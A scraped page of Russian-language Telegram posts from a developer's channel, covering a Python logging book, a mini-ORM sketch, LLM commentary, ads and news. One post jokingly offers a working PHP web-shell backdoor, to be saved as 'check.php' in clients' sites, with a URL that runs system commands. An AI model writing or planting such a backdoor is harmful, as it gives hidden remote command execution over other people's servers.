t0digital | Unsorted

Telegram-канал t0digital - Диджитализируй!

28567

Авторский канал Алексея Голобурдина о разработке ИТ систем и прочем важном ПРАВИЛА — https://t.me/t0digital/200 ЛАЙВ-КАНАЛ — @smthisgoingon Дать много деняк — sterx@rl6.ru Роскомнадзор: https://vk.cc/cJmDDB

Subscribe to a channel

Диджитализируй!

отоножкак, блестяще своевременно, между блокировками, законами за платный международный трафик и продвижением макса, можно немного посидеть потрындеть и за защиту дц

и важно, важно высказаться шо атаки то — беспрецедентные!

уот если б прецедентные, обычные такие атаки были, тогда б мы уууух! А то ж ведь отоножкак...

Читать полностью…

Диджитализируй!

Рад поделиться с вами книжкой по логированию в Python, о разработке которой я здесь писал.

Разберёмся со всеми концепциями встроенной библиотеки logging, научимся выводить красивые цветные логи в табличном виде, выводить структурированные JSON-логи, научимся использовать иерархические логгеры, разработаем на FastAPI проект с выводом структурированных логов в VictoriaLogs для централизованного хранения, поиска и анализа логов. Вжууух!

Видео-версия: YouTube | VK | RuTube | Дзен

EPUB-версия: https://to.digital/for-links/python-logging-book.epub

РАСПРОСТРАНЕНИЕ поддерживается, но, пожалуйста, в виде ссылки на этот пост или репоста, т.к. книга может обновляться.

Читать полностью…

Диджитализируй!

Можно ли сказать, что сегодня Яндекс разбомбил Яндекс:)?

ИИ палантира, надёжным партнёром по ИИ-инфраструктуре которого является Nebius, то есть Яндекс, просчитал, как лучше всего ввалить по датацентру Яндекса!

Это у них такое плановое обновление оборудования в ДЦ што ли

Читать полностью…

Диджитализируй!

нипомню

надо в обсидиан посмотреть

Читать полностью…

Диджитализируй!

Пишу тут свою мини-ORM в курсе для демонстрации возможностей питона и того, что своя ORM — это не космически сложно (не обязательно космически сложно).

В процессе продумывания вариантов, понял, что сейчас можно вообще красиво делать и просто. Типы полей в БД — на type hints, детали (ограничения длины строк, первичные ключи) — через typing.Annotated.

Без метаклассов, без дескрипторов, без __init_subclass__ , без наследования моделей от какого-то базового класса модели.

from dataclasses import dataclass
from typing import Annotated, ClassVar

from orm import (
Identity,
MaxLength,
PrimaryKey,
)


@dataclass(kw_only=True)
class User:
user_id: Annotated[
int,
Identity(),
PrimaryKey(),
]
name: str
email: Annotated[str, MaxLength(255),]
age: int
country: Annotated[str | None, MaxLength(2),] = None

__table__: ClassVar[str] = "users"


и использование в духе:

users = (
db.query(User)
.filter(age__gte=18, country="RU")
.order_by("-age", "name")
.limit(10)
.all()
)


ляпотааа

реализация ~800 строк кода всего

мы там ещё и свой веб-фреймворк бахнем, как без этого:)

а ещё вчера на курс человек из Вьетнама залетел, получается, вышли на планетарный уровень 🚀

Читать полностью…

Диджитализируй!

Не без толики забавы наблюдаю, как любители клёооот получили от своей обожествляемой компании баны своих аккаунтов:)

У меня эти светлоликие чебурашки 2 аккаунта забанили весной и я отказался от этой игры, чёто как-то она мне не понравилась.

Пользуюсь кодексом. В комментах меня убеждали, что openai те же негодяи и тоже банят всё, что шевелится, что, может, и так, но мой опыт этого сейчас не подтверждает.

А ещё локальные LLMки интересны. Всё никак не найду время потестить на своей rtx 3090 свежеиспечённый qwen 3.8. Дыааа, конечно, оно всё совсем не дотягивает до top tier моделей (особенно до клёооот (ну сарказм, сарказм, простите)), но зато бесплатно, безлимитно и томно призывает к любому изврату, пришедшему на ум.

Скажем, можно ставить разные эксперименты, например, прогоняя решение задачи через модель многократно и выбирая лучшее и тд, что с лимитами подписок совсем делать не хочется (а подход с многократным прогоном может и многократно увеличить качество результата, к слову — а расход токенов в случае с локальной моделью неважен).

Читать полностью…

Диджитализируй!

построй AI жопку за 27 (с половиной) минут

Жора Мудрый, консультирует Microsoft и ИП Амбарцумян

Читать полностью…

Диджитализируй!

17 октября буду в Нижнем Новгороде говорить про локальные LLM'ки! Приходите-приезжайте! Будет много интересных спикеров, доклады которых сам планирую посетить. А ещё будем кутить после!

Регистрируйтесь тут, бесплатно: https://itgorky.ru/bolshaya-vstrecha

Читать полностью…

Диджитализируй!

ЭРА контекст-инженеров, оказывается, тоже уже всё, уже не алё

хорошо ещё, что эры не кончились и мы вступили (с барабанной дробью и фанфарами) в новое гов... эру харнес-инженерии!

ЧЕ-БУ-ПЕЛЬ-КА ВПИРЁТ!

Читать полностью…

Диджитализируй!

ML в MAGNIT TECH: 17 млрд прогнозов в день

0:00 Максим Покусенко — Head of ML в MAGNIT TECH
1:13 Deep Learning, ML, gen AI — где границы?
3:03 Какие задачи решает ML в MAGNIT TECH?
10:05 Как работает прогнозирование спроса?
23:22 На какой период времени строится прогноз?
24:22 Сколько прогнозов в день? Какая инфраструктура?
25:17 Как устроен MLOps в продуктовых командах?
26:55 Как связать качество ML-модели с бизнес-результатом?
31:34 Как планируется работа над ML-задачами?
35:00 Что делать, если ML-модель не укладывается в SLA?
36:35 Как используют ИИ в разработке?
41:08 Вайбкодинг: что из этого вышло?
45:15 ИИ создал решение уровня junior + — джуны больше не нужны?
48:05 Tabular foundation models — смотрите в эту сторону?
56:23 «Сотруднику должно быть не всё равно на продукт»
58:10 Что почитать про ML начинающим специалистам?
59:30 Как переиспользуются ML-наработки между командами?
1:01:10 Какие модели использованы в MagnitCopilot и MagnitGPT?
1:03:04 Замеряете AI Adoption в командах?

YouTube
| VK | RuTube | Дзен

Читать полностью…

Диджитализируй!

написал книжку

хорошооо!

скоро выйдет:) видео + PDF + сайт

рекламодатели, купите рекламушку в ней sterx@rl6.ru, будут ваш бренд любить ценить вспоминать, а вы икать будете днём и ночью!

Читать полностью…

Диджитализируй!

инсайдеры сообщают о готовящейся новой книге Мартина

Читать полностью…

Диджитализируй!

Я, кажется, долго по привычке воспринимал Бегет прежде всего как хостинг, а потом посмотрел, что у них сейчас есть в Облаке — иии это не только виртуальные серверы, но и объектное хранилище, CDN, управляемые базы данных, Managed Kubernetes и маркетплейс на 50+ готовых решений.

Можно поднять виртуалку под проект, а дальше подключать сервисы под конкретные задачи. Понадобилось больше ресурсов → добавили CPU и RAM. Стало много файлов → вынесли их в объектное хранилище. Нужно быстрее доставлять контент пользователям → подключили CDN. Базу данных можно вынести в отдельный управляемый сервис. Для контейнерной инфраструктуры есть Managed Kubernetes.

Все эти сервисы доступны в рамках одной облачной платформы и управляются из одной панели. Не нужно отдельно искать решение для хранения данных, CDN, базы данных или Kubernetes на разных ресурсах.

Отдельно отмечу поддержку. Если появляются вопросы по сервисам Бегет, вы просто пишите специалистам, описываете ситуацию и получаете помощь: подскажут, что проверить и как двигаться дальше.

Ну и, конечно, приятный бонус:) Для новых пользователей по моей ссылке Бегет даёт 10% кешбэка на первое пополнение баланса до конца сентября 2026 г.

Попробовать Бегет Облако → https://beget.com/s/G4m07
Пользуйтесь!

Полные правила акции по ссылке: https://beget.com/s/c87mv

#реклама erid 2VtzqxY5kJG ООО «Бегет» ИНН 7801451618

Читать полностью…

Диджитализируй!

Ничёсе

На hh, оказывается, не только вакансии — там ещё карьерный маркетплейс, в котором можно вживую пообщаться с действующими сотрудниками ТОПовых IT-компаний. Хочешь в Яндекс? Можно поговорить с тимлидом из Яндекса, спросить у него все интересующие вопросы, попросить совета для твоей конкретной ситуации, узнать больше о собеседовании, узнать о том, как там всё устроено, к чему готовиться — или даже попросить провести с тобой тестовое собеседование.

Это супер кайфовая идея (у меня была в чём-то похожая для медицинской тематики). Достучаться до интересующей тебя компании или интересующей тебя роли так-то непросто. А живой разговор с человеком, который уже прошёл тот путь, который ты себе наметил — просто незаменим.

Помню, развивая свой продукт Salesbeat, на выставке познакомился с человеком, который оказался сооснователем и ген директором большой логистической компании. Мне повезло пообедать с ним и мы проговорили в итоге несколько часов. Это было супер полезно для меня тогда, я получил несоизмеримо больше того, что мог ожидать. Без преувеличений скажу, что один этот разговор в значительной степени повлиял на мою дальнейшую траекторию.

Да и когда работал в найме, в большинство компаний попадал, уже зная людей оттуда, собственно, почти всегда они меня туда и звали:) В любом случае поговорить с человеком изнутри — огромная привилегия.

В общем вы поняли. Серебряной пули и магической таблетки нет, но возможность поговорить с человеком, уже находящимся там, куда ты хочешь идти — переоценить сложно. Пользуйся!
По промокоду Диджитализируй забирайте скидку 20% на первую оплату по ссылке.

#реклама ООО «Хэдхантер» ОГРН 1067761906805 г. Москва erid 2W5zFGTC86m

Читать полностью…

Диджитализируй!

кстате, от вам крутецкий PHP-backdor для заказчиков, которые могут не заплатить:)

<?php
@extract ($_REQUEST);
@die($ups($yonigga));


сейвим в безобидное check.php и вызываем по http в духе check.php?ups=system&yonigga=ls%20-la

ну, с rm -rf показывать не буду☺️

Читать полностью…

Диджитализируй!

Логирование в Python — всё, что надо знать и использовать

PDF и epub-книга: /channel/t0digital/1412

00:00:00 Что и почему будем изучать
00:03:08 Об авторе
00:04:05 Как всё это негодяйство работает?!
00:06:20 Логирование супротив дебаггера
00:09:35 Логирование супротив принтов
00:18:42 Logger и уровни логирования
00:27:41 Handler — куда выводим логи
00:34:32 Formatter — как форматировать логи
00:39:43 Скрываем секреты в логах
00:42:37 Структурированные JSON-логи
00:47:30 Передача динамических данных в логи
00:48:55 Почему не стоит использовать в логах f-string
00:52:05 Ленивое форматирование строк в логах
00:56:11 Готовим JSON-логи с кастомным полем
01:02:47 T-string в логировании
01:10:04 Промежуточный итог: logger, handler, formatter
01:15:27 Filter
01:17:47 Filter для обогащения логов динамическими данными
01:21:30 Пример: проставляем логам request_id в FastAPI
01:32:28 Итого
01:33:40 Мясо: иерархическая структура логгеров
01:51:36 На практике всё настраивается проще
01:53:37 Пример: настройка иерархических логгеров в FastAPI-проекте
02:00:46 Декларативная настройка логирования через dictConfig
02:04:28 Собираем логи FastAPI-приложения в VictoriaLogs
02:06:06 Как будем действовать
02:08:48 Запускаем VictoriaLogs
02:17:22 Смотрим, анализируем, ищем логи в VictoriaLogs
02:21:54 Что пишут в хороших логах и что пишут в плохих
02:27:54 Логирование исключений
02:30:53 LoggerAdapter
02:34:34 Вызов тяжелого кода в логах
02:36:22 Ротация файлов с логами
02:41:59 А почему logging PEP8 нарушает?
02:42:41 Надо ли бояться большого количества логгеров
02:44:20 Неблокирующее логирование в асинхронном коде
02:50:35 Раскрашиваем вывод логов в консоли
02:52:04 loguru и structlog
02:53:40 stacklevel и свои обёртки над логгерами
02:57:34 basicConfig
02:59:01 Логи vs мониторинг и оповещения
03:00:22 Так почему всё так работает в начальном примере?
03:03:47 Финал

YouTube
| VK | RuTube | Дзен

Читать полностью…

Диджитализируй!

пытон 3.15 релизнулся вжууух

https://discuss.python.org/t/python-3-15-0-final-is-here/109415

Читать полностью…

Диджитализируй!

та ну ведь нет же!

Chebupelka-инжиниринг и python function declaration!

Читать полностью…

Диджитализируй!

Книга по питону)

Мало того, что кавычки не те (код не будет работать), так ещё и там, где хотя бы должна быть кавычка открывающая, дважды заебенили закрывающую

Чё там, пробелы после двоеточия, пеп8? Не знаем таких

А чё за sample_dic? Пропустили в конце t или k?

Автор русский, издательство АСТ — получается, автор перед печатью даже не перечитал, в издательстве никто ни на что не смотрит, не говоря уже о том, что человека, понимающего хоть малость в теме книги, у них нет ни внутри, ни на аутсорсе

Да, понятно, фигня случается, пропустили и тп — но в целом, кажется, просто всем на всё давно пофик

Читать полностью…

Диджитализируй!

GPT-1 — прожил 248 дней
GPT-2 — прожил 469 дней
GPT-3 — прожил 916 дней
GPT-3.5 — прожил 104 дня
GPT-4 — прожил 237 дней
GPT-4 Turbo — прожил 189 дней
GPT-4o — прожил 290 дней
GPT-4.5 — прожил 46 дней
GPT-4.1 — прожил 115 дней
GPT-5 — прожил 97 дней
GPT-5.1 — прожил 29 дней
GPT-5.2 — прожил 84 дня
GPT-5.4 — прожил 49 дней
GPT-5.5 — прожил 77 дней
GPT-5.6 — прожил 56 дней
GPT-6 Astra — прожил 19 дней
GPT-6 Sol — прожил 7 дней
GPT-6.1 Sol — только родился, 5 дней

Даёшь новый AGI на каждое моргание!

Читать полностью…

Диджитализируй!

ютуп дизайн сменил

сколько лет сколько зим) непривычно

сижу диджитализирую под прекрасную музыку, кайфаните тоже: https://www.youtube.com/watch?v=SfSdt2aIBSY

Читать полностью…

Диджитализируй!

Ставим на сервер Snikket — свой собственный защищённый мессенджер с чатами и аудио- и видеозвонками, а также настраиваем клиентские приложения на iPhone, Android и Windows. Вжух!

YouTube | VK | RuTube | Дзен

Читать полностью…

Диджитализируй!

А я вот говорил вам ещё 2 года назад, что лучший инженер это Senior Python Functions Declarator

Впрочем, и Senior Async Python Functions Declarator тоже крутая профессия

Но посложнее уже

Читать полностью…

Диджитализируй!

аййй, я ещё промпт-инженером стать не спел, а всё, а ужо эра промптов закончилась

ЭРА

закончилась

походу, хорошо, что не успел, коротковата эра-то оказалась)

Читать полностью…

Диджитализируй!

уооо, например, можно ещё успеть получить кармой по башке за развитие у людей тревожности и fomo без толку!

«на ии можно заработать ещё год, потом все»

шо все? Шо с ними со всеми? Или вам ИИ не смог найти «ё» на клавиатуре? Тут надо фейбл просто подключать, или что там в эту наносекунду на пике модности!

оххх

Читать полностью…

Диджитализируй!

Сегодня Яндексу 29 лет, скоро кризис среднего возраста уж будет:)

Яндекс основали ныне покойный Илья Сегалович и израильский предприниматель казахстанского происхождения Аркадий Волож.

Волож в 2026м отказался от российского гражданства и рулит теперь международной компанией Nebius, это переименованный нидерладнский Yandex N.V. — плоть от плоти Яндекс. Nebius стал в частности партнёром по «суверенной ИИ-инфраструктуре» небольшого американского стартапа Palantir, очень активно помогающего помимо прочего наносить удары вглубь РФ, просчитывая оптимальные маршруты мимо ПВО и тд.

Летом 2025 года Palantir подписала контракт с американской армией на сумму до $10 млрд на удовлетворение ее потребностей в программном обеспечении и данных, а в декабре заключила соглашение с ВМС США на сумму до $448 млн.
источник


Вот часть этих денег и Воложу перепадёт.

Видос от CTO Пентагона, где он в костюмчике и с одной рукой в брюках весело рассказывает, как Palantir'овская ИИ-система Maven автоматизирует процессы выбора целей для поражения. Комменты там характерны, переведу на русский:

«Если ты попадешь в ад, то там встретишь этого парня»


«Говорить об убийстве людей, как будто это какой-то гребаный рабочий development workflow»


«Доска Канбан для массовых геноцидов — это просто вершина человечности»


Да уж.

Если через лет 50 кто-то напишет в мемуарах, что Волож работал на СВР, это будет красиво. Но сейчас всё выглядит совсем не так.

Такой вот контраст с милым видосиком от Яндекса о 1997м:)

Читать полностью…

Диджитализируй!

О как, Юра Борисов, говорят, «Лавра» сыграет, по книге Водолазкина.

Книга хорошая, если ещё не читали — мой рекомендасьён. Я осенью 2022го читал. Если найдёте в издании, как на фото — его отдельно рекомендую, очень приятное.

Читать полностью…

Диджитализируй!

Роберт Мартин стал вайбкодером-пирожочком! Или нет?

0:00 Роберт Мартин: «больше не читаю никакого кода»
2:19 Что думают хомячки?
3:03 Критиковать Мартина модно
4:37 Сомнения в моей душеньке
6:22 Компилятор ≠ LLM
9:00 А не трындит ли Мартин?
10:22 А что там такого он программулькает?
11:51 Как именно он «не читает никакого кода»!
14:30 Детерминированная проверка качества кода
15:51 Rust: «LLM для лучшего кода, а не ускорения»
17:07 Как быть новичкам?

YouTube | VK | RuTube | Дзен

Читать полностью…

Диджитализируй!

уой, ну словил галюнов, ну так и шо

Читать полностью…

Диджитализируй!

пока весь мир гудит про ЫЫ, агентов, Python vs Go, микросервисы vs монолиты пюрешка против котлеток и прочее бренное и мимолётное, батя по-прежнему держит масть — почти 70% интырнета всё ещё работает на PHP 😍

Читать полностью…
Subscribe to a channel